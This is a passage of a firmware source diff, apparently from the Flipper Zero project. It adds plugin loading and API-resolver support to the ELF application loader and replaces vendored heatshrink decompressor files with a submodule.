+void* elf_file_get_entry_point(ELFFile* elf_file); /** - * @brief Execute ELF file post-run stage, call static destructors for example (load stage #5) + * @brief Execute ELF file post-run stage, + * call static destructors for example (load stage #5) + * Must be done if any code from the ELF file was executed * @param elf */ -void elf_file_post_run(ELFFile* elf); +void elf_file_call_fini(ELFFile* elf); /** * @brief Get ELF file API interface @@ -122,6 +131,21 @@ void elf_file_init_debug_info(ELFFile* elf_file, ELFDebugInfo* debug_info); */ void elf_file_clear_debug_info(ELFDebugInfo* debug_info); +/** + * @brief Process ELF file section + * + * @param elf_file + * @param name + * @param process_section + * @param context + * @return ElfProcessSectionResult + */ +ElfProcessSectionResult elf_process_section( + ELFFile* elf_file, + const char* name, + ElfProcessSection* process_section, + void* context); + #ifdef __cplusplus } #endif \ No newline at end of file diff --git a/lib/flipper_application/elf/elf_file_i.h b/lib/flipper_application/elf/elf_file_i.h index 9b38540b7..af9a1d9b4 100644 --- a/lib/flipper_application/elf/elf_file_i.h +++ b/lib/flipper_application/elf/elf_file_i.h @@ -45,6 +45,8 @@ struct ELFFile { ELFSection* preinit_array; ELFSection* init_array; ELFSection* fini_array; + + bool init_array_called; }; #ifdef __cplusplus diff --git a/lib/flipper_application/flipper_application.c b/lib/flipper_application/flipper_application.c index 58909218a..1b4f56814 100644 --- a/lib/flipper_application/flipper_application.c +++ b/lib/flipper_application/flipper_application.c @@ -1,27 +1,67 @@ #include "flipper_application.h" #include "elf/elf_file.h" #include +#include "application_assets.h" -#define TAG "fapp" +#include + +#define TAG "Fap" struct FlipperApplication { ELFDebugInfo state; FlipperApplicationManifest manifest; ELFFile* elf; FuriThread* thread; + void* ep_thread_args; }; -/* For debugger access to app state */ -FlipperApplication* last_loaded_app = NULL; +/********************** Debugger access to loader state **********************/ + +LIST_DEF(FlipperApplicationList, const FlipperApplication*, M_POD_OPLIST); + +FlipperApplicationList_t flipper_application_loaded_app_list = {0}; +static bool flipper_application_loaded_app_list_initialized = false; + +static void flipper_application_list_add_app(const FlipperApplication* app) { + furi_assert(app); + + if(!flipper_application_loaded_app_list_initialized) { + FlipperApplicationList_init(flipper_application_loaded_app_list); + flipper_application_loaded_app_list_initialized = true; + } + FlipperApplicationList_push_back(flipper_application_loaded_app_list, app); +} + +static void flipper_application_list_remove_app(const FlipperApplication* app) { + furi_assert(flipper_application_loaded_app_list_initialized); + furi_assert(app); + + FlipperApplicationList_it_t it; + for(FlipperApplicationList_it(it, flipper_application_loaded_app_list); + !FlipperApplicationList_end_p(it); + FlipperApplicationList_next(it)) { + if(*FlipperApplicationList_ref(it) == app) { + FlipperApplicationList_remove(flipper_application_loaded_app_list, it); + break; + } + } +} + +/*****************************************************************************/ FlipperApplication* flipper_application_alloc(Storage* storage, const ElfApiInterface* api_interface) { FlipperApplication* app = malloc(sizeof(FlipperApplication)); app->elf = elf_file_alloc(storage, api_interface); app->thread = NULL; + app->ep_thread_args = NULL; return app; } +bool flipper_application_is_plugin(FlipperApplication* app) { + return app->manifest.stack_size == 0; +} + void flipper_application_free(FlipperApplication* app) { furi_assert(app); @@ -30,9 +70,16 @@ void flipper_application_free(FlipperApplication* app) { furi_thread_free(app->thread); } - last_loaded_app = NULL; + if(app->state.entry) { + flipper_application_list_remove_app(app); + } elf_file_clear_debug_info(&app->state); + + if(elf_file_is_init_complete(app->elf)) { + elf_file_call_fini(app->elf); + } + elf_file_free(app->elf); free(app); } @@ -55,24 +102,83 @@ static FlipperApplicationPreloadStatus return FlipperApplicationPreloadStatusSuccess; } -/* Parse headers, load manifest */ -FlipperApplicationPreloadStatus - flipper_application_preload_manifest(FlipperApplication* app, const char* path) { - if(!elf_file_open(app->elf, path) || !elf_file_load_manifest(app->elf, &app->manifest)) { +static bool flipper_application_process_manifest_section( + File* file, + size_t offset, + size_t size, + void* context) { + FlipperApplicationManifest* manifest = context; + + if(size < sizeof(FlipperApplicationManifest)) { + return false; + } + + if(manifest == NULL) { + return true; + } + + return storage_file_seek(file, offset, true) && + storage_file_read(file, manifest, size) == size; +} + +// we can't use const char* as context because we will lose the const qualifier +typedef struct { + const char* path; +} FlipperApplicationPreloadAssetsContext; + +static bool flipper_application_process_assets_section( + File* file, + size_t offset, + size_t size, + void* context) { + FlipperApplicationPreloadAssetsContext* preload_context = context; + return flipper_application_assets_load(file, preload_context->path, offset, size); +} + +static FlipperApplicationPreloadStatus + flipper_application_load(FlipperApplication* app, const char* path, bool load_full) { + if(!elf_file_open(app->elf, path)) { + return FlipperApplicationPreloadStatusInvalidFile; + } + + // if we are loading full file + if(load_full) { + // load section table + if(!elf_file_load_section_table(app->elf)) { + return FlipperApplicationPreloadStatusInvalidFile; + } + + // load assets section + FlipperApplicationPreloadAssetsContext preload_context = {.path = path}; + if(elf_process_section( + app->elf, + ".fapassets", + flipper_application_process_assets_section, + &preload_context) == ElfProcessSectionResultCannotProcess) { + return FlipperApplicationPreloadStatusInvalidFile; + } + } + + // load manifest section + if(elf_process_section( + app->elf, ".fapmeta", flipper_application_process_manifest_section, &app->manifest) != + ElfProcessSectionResultSuccess) { return FlipperApplicationPreloadStatusInvalidFile; } return flipper_application_validate_manifest(app); } +/* Parse headers, load manifest */ +FlipperApplicationPreloadStatus + flipper_application_preload_manifest(FlipperApplication* app, const char* path) { + return flipper_application_load(app, path, false); +} + /* Parse headers, load full file */ FlipperApplicationPreloadStatus flipper_application_preload(FlipperApplication* app, const char* path) { - if(!elf_file_open(app->elf, path) || !elf_file_load_section_table(app->elf, &app->manifest)) { - return FlipperApplicationPreloadStatusInvalidFile; - } - - return flipper_application_validate_manifest(app); + return flipper_application_load(app, path, true); } const FlipperApplicationManifest* flipper_application_get_manifest(FlipperApplication* app) { @@ -80,12 +186,12 @@ const FlipperApplicationManifest* flipper_application_get_manifest(FlipperApplic } FlipperApplicationLoadStatus flipper_application_map_to_memory(FlipperApplication* app) { - last_loaded_app = app; ELFFileLoadStatus status = elf_file_load_sections(app->elf); switch(status) { case ELFFileLoadStatusSuccess: elf_file_init_debug_info(app->elf, &app->state); + flipper_application_list_add_app(app); return FlipperApplicationLoadStatusSuccess; case ELFFileLoadStatusNoFreeMemory: return FlipperApplicationLoadStatusNoFreeMemory; @@ -97,9 +203,15 @@ FlipperApplicationLoadStatus flipper_application_map_to_memory(FlipperApplicatio } static int32_t flipper_application_thread(void* context) { - elf_file_pre_run(last_loaded_app->elf); - int32_t result = elf_file_run(last_loaded_app->elf, context); - elf_file_post_run(last_loaded_app->elf); + furi_assert(context); + FlipperApplication* app = (FlipperApplication*)context; + + elf_file_call_init(app->elf); + + FlipperApplicationEntryPoint entry_point = elf_file_get_entry_point(app->elf); + int32_t ret_code = entry_point(app->ep_thread_args); + + elf_file_call_fini(app->elf); // wait until all notifications from RAM are completed NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION); @@ -109,17 +221,17 @@ static int32_t flipper_application_thread(void* context) { notification_message_block(notifications, &sequence_empty); furi_record_close(RECORD_NOTIFICATION); - return result; + return ret_code; } FuriThread* flipper_application_spawn(FlipperApplication* app, void* args) { furi_check(app->thread == NULL); + furi_check(!flipper_application_is_plugin(app)); + app->ep_thread_args = args; const FlipperApplicationManifest* manifest = flipper_application_get_manifest(app); - furi_check(manifest->stack_size > 0); - app->thread = furi_thread_alloc_ex( - manifest->name, manifest->stack_size, flipper_application_thread, args); + manifest->name, manifest->stack_size, flipper_application_thread, app); return app->thread; } @@ -153,3 +265,28 @@ const char* flipper_application_load_status_to_string(FlipperApplicationLoadStat } return load_status_strings[status]; } + +const FlipperAppPluginDescriptor* + flipper_application_plugin_get_descriptor(FlipperApplication* app) { + if(!flipper_application_is_plugin(app)) { + return NULL; + } + + if(!elf_file_is_init_complete(app->elf)) { + elf_file_call_init(app->elf); + } + + typedef const FlipperAppPluginDescriptor* (*get_lib_descriptor_t)(void); + get_lib_descriptor_t lib_ep = elf_file_get_entry_point(app->elf); + furi_check(lib_ep); + + const FlipperAppPluginDescriptor* lib_descriptor = lib_ep(); + + FURI_LOG_D( + TAG, + "Library for %s, API v. %lu loaded", + lib_descriptor->appid, + lib_descriptor->ep_api_version); + + return lib_descriptor; +} \ No newline at end of file diff --git a/lib/flipper_application/flipper_application.h b/lib/flipper_application/flipper_application.h index b3e5996bb..519cc3971 100644 --- a/lib/flipper_application/flipper_application.h +++ b/lib/flipper_application/flipper_application.h @@ -115,6 +115,40 @@ FlipperApplicationLoadStatus flipper_application_map_to_memory(FlipperApplicatio */ FuriThread* flipper_application_spawn(FlipperApplication* app, void* args); +/** + * @brief Check if application is a plugin (not a runnable standalone app) + * @param app Application pointer + * @return true if application is a plugin, false otherwise + */ +bool flipper_application_is_plugin(FlipperApplication* app); + +/** + * @brief Entry point prototype for standalone applications + */ +typedef int32_t (*FlipperApplicationEntryPoint)(void*); + +/** + * @brief An object that describes a plugin - must be returned by plugin's entry point + */ +typedef struct { + const char* appid; + const uint32_t ep_api_version; + const void* entry_point; +} FlipperAppPluginDescriptor; + +/** + * @brief Entry point prototype for plugins + */ +typedef const FlipperAppPluginDescriptor* (*FlipperApplicationPluginEntryPoint)(void); + +/** + * @brief Get plugin descriptor for preloaded plugin + * @param app Application pointer + * @return Pointer to plugin descriptor + */ +const FlipperAppPluginDescriptor* + flipper_application_plugin_get_descriptor(FlipperApplication* app); + #ifdef __cplusplus } -#endif \ No newline at end of file +#endif diff --git a/lib/flipper_application/plugins/composite_resolver.c b/lib/flipper_application/plugins/composite_resolver.c new file mode 100644 index 000000000..1402c3ad0 --- /dev/null +++ b/lib/flipper_application/plugins/composite_resolver.c @@ -0,0 +1,52 @@ +#include "composite_resolver.h" + +#include +#include + +LIST_DEF(ElfApiInterfaceList, const ElfApiInterface*, M_POD_OPLIST) +#define M_OPL_ElfApiInterfaceList_t() LIST_OPLIST(ElfApiInterfaceList, M_POD_OPLIST) + +struct CompositeApiResolver { + ElfApiInterface api_interface; + ElfApiInterfaceList_t interfaces; +}; + +static bool composite_api_resolver_callback( + const ElfApiInterface* interface, + const char* name, + Elf32_Addr* address) { + CompositeApiResolver* resolver = (CompositeApiResolver*)interface; + for + M_EACH(interface, resolver->interfaces, ElfApiInterfaceList_t) { + if((*interface)->resolver_callback(*interface, name, address)) { + return true; + } + } + return false; +} + +CompositeApiResolver* composite_api_resolver_alloc() { + CompositeApiResolver* resolver = malloc(sizeof(CompositeApiResolver)); + resolver->api_interface.api_version_major = 0; + resolver->api_interface.api_version_minor = 0; + resolver->api_interface.resolver_callback = &composite_api_resolver_callback; + ElfApiInterfaceList_init(resolver->interfaces); + return resolver; +} + +void composite_api_resolver_free(CompositeApiResolver* resolver) { + ElfApiInterfaceList_clear(resolver->interfaces); + free(resolver); +} + +void composite_api_resolver_add(CompositeApiResolver* resolver, const ElfApiInterface* interface) { + if(ElfApiInterfaceList_empty_p(resolver->interfaces)) { + resolver->api_interface.api_version_major = interface->api_version_major; + resolver->api_interface.api_version_minor = interface->api_version_minor; + } + ElfApiInterfaceList_push_back(resolver->interfaces, interface); +} + +const ElfApiInterface* composite_api_resolver_get(CompositeApiResolver* resolver) { + return &resolver->api_interface; +} diff --git a/lib/flipper_application/plugins/composite_resolver.h b/lib/flipper_application/plugins/composite_resolver.h new file mode 100644 index 000000000..a2d4bab25 --- /dev/null +++ b/lib/flipper_application/plugins/composite_resolver.h @@ -0,0 +1,46 @@ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Composite API resolver + * Resolves API interface by calling all resolvers in order + * Uses API version from first resolver + * Note: when using hashtable resolvers, collisions between tables are not detected + * Can be cast to ElfApiInterface* + */ +typedef struct CompositeApiResolver CompositeApiResolver; + +/** + * @brief Allocate composite API resolver + * @return CompositeApiResolver* instance + */ +CompositeApiResolver* composite_api_resolver_alloc(); + +/** + * @brief Free composite API resolver + * @param resolver Instance + */ +void composite_api_resolver_free(CompositeApiResolver* resolver); + +/** + * @brief Add API resolver to composite resolver + * @param resolver Instance + * @param interface API resolver + */ +void composite_api_resolver_add(CompositeApiResolver* resolver, const ElfApiInterface* interface); + +/** + * @brief Get API interface from composite resolver + * @param resolver Instance + * @return API interface + */ +const ElfApiInterface* composite_api_resolver_get(CompositeApiResolver* resolver); + +#ifdef __cplusplus +} +#endif diff --git a/lib/flipper_application/plugins/plugin_manager.c b/lib/flipper_application/plugins/plugin_manager.c new file mode 100644 index 000000000..101471dc5 --- /dev/null +++ b/lib/flipper_application/plugins/plugin_manager.c @@ -0,0 +1,153 @@ +#include "plugin_manager.h" + +#include +#include +#include + +#include +#include + +#include + +#define TAG "libmgr" + +ARRAY_DEF(FlipperApplicationList, FlipperApplication*, M_PTR_OPLIST) +#define M_OPL_FlipperApplicationList_t() ARRAY_OPLIST(FlipperApplicationList, M_PTR_OPLIST) + +struct PluginManager { + const char* application_id; + uint32_t api_version; + Storage* storage; + FlipperApplicationList_t libs; + const ElfApiInterface* api_interface; +}; + +PluginManager* plugin_manager_alloc( + const char* application_id, + uint32_t api_version, + const ElfApiInterface* api_interface) { + PluginManager* manager = malloc(sizeof(PluginManager)); + manager->application_id = application_id; + manager->api_version = api_version; + manager->api_interface = api_interface ? api_interface : firmware_api_interface; + manager->storage = furi_record_open(RECORD_STORAGE); + FlipperApplicationList_init(manager->libs); + return manager; +} + +void plugin_manager_free(PluginManager* manager) { + for + M_EACH(loaded_lib, manager->libs, FlipperApplicationList_t) { + flipper_application_free(*loaded_lib); + } + FlipperApplicationList_clear(manager->libs); + furi_record_close(RECORD_STORAGE); + free(manager); +} + +PluginManagerError plugin_manager_load_single(PluginManager* manager, const char* path) { + FlipperApplication* lib = flipper_application_alloc(manager->storage, manager->api_interface); + + PluginManagerError error = PluginManagerErrorNone; + do { + FlipperApplicationPreloadStatus preload_res = flipper_application_preload(lib, path); + + if(preload_res != FlipperApplicationPreloadStatusSuccess) { + FURI_LOG_E(TAG, "Failed to preload %s", path); + error = PluginManagerErrorLoaderError; + break; + } + + if(!flipper_application_is_plugin(lib)) { + FURI_LOG_E(TAG, "Not a plugin %s", path); + error = PluginManagerErrorLoaderError; + break; + } + + FlipperApplicationLoadStatus load_status = flipper_application_map_to_memory(lib); + if(load_status != FlipperApplicationLoadStatusSuccess) { + FURI_LOG_E(TAG, "Failed to load module_demo_plugin1.fal"); + break; + } + + const FlipperAppPluginDescriptor* app_descriptor = + flipper_application_plugin_get_descriptor(lib); + + if(!app_descriptor) { + FURI_LOG_E(TAG, "Failed to get descriptor %s", path); + error = PluginManagerErrorLoaderError; + break; + } + + if(strcmp(app_descriptor->appid, manager->application_id) != 0) { + FURI_LOG_E(TAG, "Application id mismatch %s", path); + error = PluginManagerErrorApplicationIdMismatch; + break; + } + + if(app_descriptor->ep_api_version != manager->api_version) { + FURI_LOG_E(TAG, "API version mismatch %s", path); + error = PluginManagerErrorAPIVersionMismatch; + break; + } + + FlipperApplicationList_push_back(manager->libs, lib); + } while(false); + + if(error != PluginManagerErrorNone) { + flipper_application_free(lib); + } + + return error; +} + +PluginManagerError plugin_manager_load_all(PluginManager* manager, const char* path) { + File* directory = storage_file_alloc(manager->storage); + char file_name_buffer[256]; + FuriString* file_name = furi_string_alloc(); + do { + if(!storage_dir_open(directory, path)) { + FURI_LOG_E(TAG, "Failed to open directory %s", path); + break; + } + while(true) { + if(!storage_dir_read(directory, NULL, file_name_buffer, sizeof(file_name_buffer))) { + break; + } + + furi_string_set(file_name, file_name_buffer); + if(!furi_string_end_with_str(file_name, ".fal")) { + continue; + } + + path_concat(path, file_name_buffer, file_name); + FURI_LOG_D(TAG, "Loading %s", furi_string_get_cstr(file_name)); + PluginManagerError error = + plugin_manager_load_single(manager, furi_string_get_cstr(file_name)); + + if(error != PluginManagerErrorNone) { + FURI_LOG_E(TAG, "Failed to load %s", furi_string_get_cstr(file_name)); + break; + } + } + } while(false); + storage_dir_close(directory); + storage_file_free(directory); + furi_string_free(file_name); + return PluginManagerErrorNone; +} + +uint32_t plugin_manager_get_count(PluginManager* manager) { + return FlipperApplicationList_size(manager->libs); +} + +const FlipperAppPluginDescriptor* plugin_manager_get(PluginManager* manager, uint32_t index) { + FlipperApplication* app = *FlipperApplicationList_get(manager->libs, index); + return flipper_application_plugin_get_descriptor(app); +} + +const void* plugin_manager_get_ep(PluginManager* manager, uint32_t index) { + const FlipperAppPluginDescriptor* lib_descr = plugin_manager_get(manager, index); + furi_check(lib_descr); + return lib_descr->entry_point; +} diff --git a/lib/flipper_application/plugins/plugin_manager.h b/lib/flipper_application/plugins/plugin_manager.h new file mode 100644 index 000000000..d94c25db9 --- /dev/null +++ b/lib/flipper_application/plugins/plugin_manager.h @@ -0,0 +1,82 @@ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Object that manages plugins for an application + * Implements mass loading of plugins and provides access to their descriptors + */ +typedef struct PluginManager PluginManager; + +typedef enum { + PluginManagerErrorNone = 0, + PluginManagerErrorLoaderError, + PluginManagerErrorApplicationIdMismatch, + PluginManagerErrorAPIVersionMismatch, +} PluginManagerError; + +/** + * @brief Allocates new PluginManager + * @param application_id Application ID filter - only plugins with matching ID will be loaded + * @param api_version Application API version filter - only plugins with matching API version + * @param api_interface Application API interface - used to resolve plugins' API imports + * If plugin uses private application's API, use CompoundApiInterface + * @return new PluginManager instance + */ +PluginManager* plugin_manager_alloc( + const char* application_id, + uint32_t api_version, + const ElfApiInterface* api_interface); + +/** + * @brief Frees PluginManager + * @param manager PluginManager instance + */ +void plugin_manager_free(PluginManager* manager); + +/** + * @brief Loads single plugin by full path + * @param manager PluginManager instance + * @param path Path to plugin + * @return Error code + */ +PluginManagerError plugin_manager_load_single(PluginManager* manager, const char* path); + +/** + * @brief Loads all plugins from specified directory + * @param manager PluginManager instance + * @param path Path to directory + * @return Error code + */ +PluginManagerError plugin_manager_load_all(PluginManager* manager, const char* path); + +/** + * @brief Returns number of loaded plugins + * @param manager PluginManager instance + * @return Number of loaded plugins + */ +uint32_t plugin_manager_get_count(PluginManager* manager); + +/** + * @brief Returns plugin descriptor by index + * @param manager PluginManager instance + * @param index Plugin index + * @return Plugin descriptor + */ +const FlipperAppPluginDescriptor* plugin_manager_get(PluginManager* manager, uint32_t index); + +/** + * @brief Returns plugin entry point by index + * @param manager PluginManager instance + * @param index Plugin index + * @return Plugin entry point + */ +const void* plugin_manager_get_ep(PluginManager* manager, uint32_t index); + +#ifdef __cplusplus +} +#endif diff --git a/lib/heatshrink b/lib/heatshrink new file mode 160000 index 000000000..7398ccc91 --- /dev/null +++ b/lib/heatshrink @@ -0,0 +1 @@ +Subproject commit 7398ccc91652a33483245200cfa1a83b073bc206 diff --git a/lib/heatshrink/heatshrink_common.h b/lib/heatshrink/heatshrink_common.h deleted file mode 100644 index 243f44702..000000000 --- a/lib/heatshrink/heatshrink_common.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef HEATSHRINK_H -#define HEATSHRINK_H - -#define HEATSHRINK_AUTHOR "Scott Vokes " -#define HEATSHRINK_URL "https://github.com/atomicobject/heatshrink" - -/* Version 0.4.1 */ -#define HEATSHRINK_VERSION_MAJOR 0 -#define HEATSHRINK_VERSION_MINOR 4 -#define HEATSHRINK_VERSION_PATCH 1 - -#define HEATSHRINK_MIN_WINDOW_BITS 4 -#define HEATSHRINK_MAX_WINDOW_BITS 15 - -#define HEATSHRINK_MIN_LOOKAHEAD_BITS 3 - -#define HEATSHRINK_LITERAL_MARKER 0x01 -#define HEATSHRINK_BACKREF_MARKER 0x00 - -#endif diff --git a/lib/heatshrink/heatshrink_config.h b/lib/heatshrink/heatshrink_config.h deleted file mode 100644 index 7f2373c0d..000000000 --- a/lib/heatshrink/heatshrink_config.h +++ /dev/null @@ -1,28 +0,0 @@ -#ifndef HEATSHRINK_CONFIG_H -#define HEATSHRINK_CONFIG_H - -#include - -/* Should functionality assuming dynamic allocation be used? */ -#ifndef HEATSHRINK_DYNAMIC_ALLOC -#define HEATSHRINK_DYNAMIC_ALLOC 1 -#endif - -#if HEATSHRINK_DYNAMIC_ALLOC - /* Optional replacement of malloc/free */ - #define HEATSHRINK_MALLOC(SZ) malloc(SZ) - #define HEATSHRINK_FREE(P, SZ) free(P) -#else - /* Required parameters for static configuration */ - #define HEATSHRINK_STATIC_INPUT_BUFFER_SIZE 1024 - #define HEATSHRINK_STATIC_WINDOW_BITS 8 - #define HEATSHRINK_STATIC_LOOKAHEAD_BITS 4 -#endif - -/* Turn on logging for debugging. */ -#define HEATSHRINK_DEBUGGING_LOGS 0 - -/* Use indexing for faster compression. (This requires additional space.) */ -#define HEATSHRINK_USE_INDEX 1 - -#endif diff --git a/lib/heatshrink/heatshrink_decoder.c b/lib/heatshrink/heatshrink_decoder.c deleted file mode 100644 index 287828367..000000000 --- a/lib/heatshrink/heatshrink_decoder.c +++ /dev/null @@ -1,364 +0,0 @@ -#include -#include -#include "heatshrink_decoder.h" - -/* States for the polling state machine. */ -typedef enum { - HSDS_TAG_BIT, /* tag bit */ - HSDS_YIELD_LITERAL, /* ready to yield literal byte */ - HSDS_BACKREF_INDEX_MSB, /* most significant byte of index */ - HSDS_BACKREF_INDEX_LSB, /* least significant byte of index */ - HSDS_BACKREF_COUNT_MSB, /* most significant byte of count */ - HSDS_BACKREF_COUNT_LSB, /* least significant byte of count */ - HSDS_YIELD_BACKREF, /* ready to yield back-reference */ -} HSD_state; - -#if HEATSHRINK_DEBUGGING_LOGS -#include -#include -#include -#define LOG(...) fprintf(stderr, __VA_ARGS__) -#define ASSERT(X) assert(X) -static const char *state_names[] = { - "tag_bit", - "yield_literal", - "backref_index_msb", - "backref_index_lsb", - "backref_count_msb", - "backref_count_lsb", - "yield_backref", -}; -#else -#define LOG(...) /* no-op */ -#define ASSERT(X) /* no-op */ -#endif - -typedef struct { - uint8_t *buf; /* output buffer */ - size_t buf_size; /* buffer size */ - size_t *output_size; /* bytes pushed to buffer, so far */ -} output_info; - -#define NO_BITS ((uint16_t)-1) - -/* Forward references. */ -static uint16_t get_bits(heatshrink_decoder *hsd, uint8_t count); -static void push_byte(heatshrink_decoder *hsd, output_info *oi, uint8_t byte); - -#if HEATSHRINK_DYNAMIC_ALLOC -heatshrink_decoder *heatshrink_decoder_alloc(uint8_t* buffer, - uint16_t input_buffer_size, - uint8_t window_sz2, - uint8_t lookahead_sz2) { - if ((window_sz2 < HEATSHRINK_MIN_WINDOW_BITS) || - (window_sz2 > HEATSHRINK_MAX_WINDOW_BITS) || - (input_buffer_size == 0) || - (lookahead_sz2 < HEATSHRINK_MIN_LOOKAHEAD_BITS) || - (lookahead_sz2 >= window_sz2)) { - return NULL; - } - size_t sz = sizeof(heatshrink_decoder); - heatshrink_decoder *hsd = HEATSHRINK_MALLOC(sz); - if (hsd == NULL) { return NULL; } - hsd->input_buffer_size = input_buffer_size; - hsd->window_sz2 = window_sz2; - hsd->lookahead_sz2 = lookahead_sz2; - hsd->buffers = buffer; - heatshrink_decoder_reset(hsd); - LOG("-- allocated decoder with buffer size of %zu (%zu + %u + %u)\n", - sz, sizeof(heatshrink_decoder), (1 << window_sz2), input_buffer_size); - return hsd; -} - -void heatshrink_decoder_free(heatshrink_decoder *hsd) { - size_t sz = sizeof(heatshrink_decoder); - HEATSHRINK_FREE(hsd, sz); - (void)sz; /* may not be used by free */ -} -#endif - -void heatshrink_decoder_reset(heatshrink_decoder *hsd) { - hsd->state = HSDS_TAG_BIT; - hsd->input_size = 0; - hsd->input_index = 0; - hsd->bit_index = 0x00; - hsd->current_byte = 0x00; - hsd->output_count = 0; - hsd->output_index = 0; - hsd->head_index = 0; -} - -/* Copy SIZE bytes into the decoder's input buffer, if it will fit. */ -HSD_sink_res heatshrink_decoder_sink(heatshrink_decoder *hsd, - uint8_t *in_buf, size_t size, size_t *input_size) { - if ((hsd == NULL) || (in_buf == NULL) || (input_size == NULL)) { - return HSDR_SINK_ERROR_NULL; - } - - size_t rem = HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(hsd) - hsd->input_size; - if (rem == 0) { - *input_size = 0; - return HSDR_SINK_FULL; - } - - size = rem < size ? rem : size; - LOG("-- sinking %zd bytes\n", size); - /* copy into input buffer (at head of buffers) */ - memcpy(&hsd->buffers[hsd->input_size], in_buf, size); - hsd->input_size += size; - *input_size = size; - return HSDR_SINK_OK; -} - - -/***************** - * Decompression * - *****************/ - -#define BACKREF_COUNT_BITS(HSD) (HEATSHRINK_DECODER_LOOKAHEAD_BITS(HSD)) -#define BACKREF_INDEX_BITS(HSD) (HEATSHRINK_DECODER_WINDOW_BITS(HSD)) - -// States -static HSD_state st_tag_bit(heatshrink_decoder *hsd); -static HSD_state st_yield_literal(heatshrink_decoder *hsd, - output_info *oi); -static HSD_state st_backref_index_msb(heatshrink_decoder *hsd); -static HSD_state st_backref_index_lsb(heatshrink_decoder *hsd); -static HSD_state st_backref_count_msb(heatshrink_decoder *hsd); -static HSD_state st_backref_count_lsb(heatshrink_decoder *hsd); -static HSD_state st_yield_backref(heatshrink_decoder *hsd, - output_info *oi); - -HSD_poll_res heatshrink_decoder_poll(heatshrink_decoder *hsd, - uint8_t *out_buf, size_t out_buf_size, size_t *output_size) { - if ((hsd == NULL) || (out_buf == NULL) || (output_size == NULL)) { - return HSDR_POLL_ERROR_NULL; - } - *output_size = 0; - - output_info oi; - oi.buf = out_buf; - oi.buf_size = out_buf_size; - oi.output_size = output_size; - - while (1) { - LOG("-- poll, state is %d (%s), input_size %d\n", - hsd->state, state_names[hsd->state], hsd->input_size); - uint8_t in_state = hsd->state; - switch (in_state) { - case HSDS_TAG_BIT: - hsd->state = st_tag_bit(hsd); - break; - case HSDS_YIELD_LITERAL: - hsd->state = st_yield_literal(hsd, &oi); - break; - case HSDS_BACKREF_INDEX_MSB: - hsd->state = st_backref_index_msb(hsd); - break; - case HSDS_BACKREF_INDEX_LSB: - hsd->state = st_backref_index_lsb(hsd); - break; - case HSDS_BACKREF_COUNT_MSB: - hsd->state = st_backref_count_msb(hsd); - break; - case HSDS_BACKREF_COUNT_LSB: - hsd->state = st_backref_count_lsb(hsd); - break; - case HSDS_YIELD_BACKREF: - hsd->state = st_yield_backref(hsd, &oi); - break; - default: - return HSDR_POLL_ERROR_UNKNOWN; - } - - /* If the current state cannot advance, check if input or output - * buffer are exhausted. */ - if (hsd->state == in_state) { - if (*output_size == out_buf_size) { return HSDR_POLL_MORE; } - return HSDR_POLL_EMPTY; - } - } -} - -static HSD_state st_tag_bit(heatshrink_decoder *hsd) { - uint32_t bits = get_bits(hsd, 1); // get tag bit - if (bits == NO_BITS) { - return HSDS_TAG_BIT; - } else if (bits) { - return HSDS_YIELD_LITERAL; - } else if (HEATSHRINK_DECODER_WINDOW_BITS(hsd) > 8) { - return HSDS_BACKREF_INDEX_MSB; - } else { - hsd->output_index = 0; - return HSDS_BACKREF_INDEX_LSB; - } -} - -static HSD_state st_yield_literal(heatshrink_decoder *hsd, - output_info *oi) { - /* Emit a repeated section from the window buffer, and add it (again) - * to the window buffer. (Note that the repetition can include - * itself.)*/ - if (*oi->output_size < oi->buf_size) { - uint16_t byte = get_bits(hsd, 8); - if (byte == NO_BITS) { return HSDS_YIELD_LITERAL; } /* out of input */ - uint8_t *buf = &hsd->buffers[HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(hsd)]; - uint16_t mask = (1 << HEATSHRINK_DECODER_WINDOW_BITS(hsd)) - 1; - uint8_t c = byte & 0xFF; - LOG("-- emitting literal byte 0x%02x ('%c')\n", c, isprint(c) ? c : '.'); - buf[hsd->head_index++ & mask] = c; - push_byte(hsd, oi, c); - return HSDS_TAG_BIT; - } else { - return HSDS_YIELD_LITERAL; - } -} - -static HSD_state st_backref_index_msb(heatshrink_decoder *hsd) { - uint8_t bit_ct = BACKREF_INDEX_BITS(hsd); - ASSERT(bit_ct > 8); - uint16_t bits = get_bits(hsd, bit_ct - 8); - LOG("-- backref index (msb), got 0x%04x (+1)\n", bits); - if (bits == NO_BITS) { return HSDS_BACKREF_INDEX_MSB; } - hsd->output_index = bits << 8; - return HSDS_BACKREF_INDEX_LSB; -} - -static HSD_state st_backref_index_lsb(heatshrink_decoder *hsd) { - uint8_t bit_ct = BACKREF_INDEX_BITS(hsd); - uint16_t bits = get_bits(hsd, bit_ct < 8 ? bit_ct : 8); - LOG("-- backref index (lsb), got 0x%04x (+1)\n", bits); - if (bits == NO_BITS) { return HSDS_BACKREF_INDEX_LSB; } - hsd->output_index |= bits; - hsd->output_index++; - uint8_t br_bit_ct = BACKREF_COUNT_BITS(hsd); - hsd->output_count = 0; - return (br_bit_ct > 8) ? HSDS_BACKREF_COUNT_MSB : HSDS_BACKREF_COUNT_LSB; -} - -static HSD_state st_backref_count_msb(heatshrink_decoder *hsd) { - uint8_t br_bit_ct = BACKREF_COUNT_BITS(hsd); - ASSERT(br_bit_ct > 8); - uint16_t bits = get_bits(hsd, br_bit_ct - 8); - LOG("-- backref count (msb), got 0x%04x (+1)\n", bits); - if (bits == NO_BITS) { return HSDS_BACKREF_COUNT_MSB; } - hsd->output_count = bits << 8; - return HSDS_BACKREF_COUNT_LSB; -} - -static HSD_state st_backref_count_lsb(heatshrink_decoder *hsd) { - uint8_t br_bit_ct = BACKREF_COUNT_BITS(hsd); - uint16_t bits = get_bits(hsd, br_bit_ct < 8 ? br_bit_ct : 8); - LOG("-- backref count (lsb), got 0x%04x (+1)\n", bits); - if (bits == NO_BITS) { return HSDS_BACKREF_COUNT_LSB; } - hsd->output_count |= bits; - hsd->output_count++; - return HSDS_YIELD_BACKREF; -} - -static HSD_state st_yield_backref(heatshrink_decoder *hsd, - output_info *oi) { - size_t count = oi->buf_size - *oi->output_size; - if (count > 0) { - size_t i = 0; - if (hsd->output_count < count) count = hsd->output_count; - uint8_t *buf = 